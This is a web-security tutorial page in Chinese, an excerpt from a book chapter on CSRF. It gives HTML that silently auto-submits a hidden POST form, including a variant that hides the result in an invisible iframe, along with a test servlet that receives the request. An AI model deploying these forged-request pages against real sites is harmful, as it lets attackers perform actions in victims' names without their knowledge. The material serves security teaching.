其他漏洞CSRF—Web安全深度剖析(1)

发表于:2015-5-07 10:26

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:张炳帅    来源:51Testing软件测试网原创

  (51Testing软件测试网获电子工业出版社和作者授权连载本书部分章节。任何个人或单位未获得明确的书面许可,不得对本文内容复制、转载或进行镜像,否则将追究法律责任。)
  如何用POST方式提交呢?其实很简单,请看post.html,代码如下:
<html>
<head>
<title>
post data
</title>
</head>
<body>
<form id="myfrom" method="post" action="htpp://www.xxser.com/publish" >
<input type="hidden" name="listenid" value="228820">
</form>
<script>
var myfrom = document.getElementById("myfrom");
myfrom.submit();
</script>
</body>
</html>
  在post.html中,构造一个form表单,然后利用JavaScript自动提交表单。这样,只要打开post.html,就会自动提交POST数据。
  把post.html里的action值修改为http://127.0.0.1:9527/Jsp/PostData进行测试,PostData代码如下:
  public class PostData extends HttpServlet {
  public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  //不接收GET请求
  }
  public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
  PrintWriter out =    response.getWriter();
  int id = Integer.parseInt(request.getParameter("listenid"));
  out.print("Receive    Post data "+ id );
  }
  }
  在PostData Servlet中,只接收POST请求,不接收GET请求,用浏览器访问post.html,执行结果如图10-1所示。
  
图10-1  接收POST数据
  观察图10-1可以发现,URL已经跳转为127.0.0.1/Jsp/PostData。
  如果在某些情况下需要做的是"静悄悄"地提交数据,不希望页面跳转,那么就可以使用AJAX来解决这个问题。当然,也可通过以指定form表单的target解决这个问题,代码如下:
  <iframe frameborder="0" name="myiframe" width="0px" height="0px"></iframe>
  <form id="myfrom" method="post" target ="myiframe" action="http://127.0.0.1:9527/Jsp/PostData" >
  <input type="hidden" name="listenid" value="228820">
  </form>
  <script>
  var myfrom =    document.getElementById("myfrom");
  myfrom.submit();
  </script>
  在上面的代码中,请求的URL在<iframe>标签中打开,而<iframe>却被我们隐藏了,所以原页面不会有任何变化,执行结果如图10-2所示。
  
图10-2  悄悄发送POST请求
  由此看来,对CSRF来说,POST、GET请求是没有任何区别的,只不过POST请求方式多了一些代码。
本文选自《Web安全深度剖析》第十章,本站经电子工业出版社和作者的授权。
版权声明:51Testing软件测试网获电子工业出版社和作者授权连载本书部分章节。
任何个人或单位未获得明确的书面许可,不得对本文内容复制、转载或进行镜像,否则将追究法律责任。
33/3<123
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号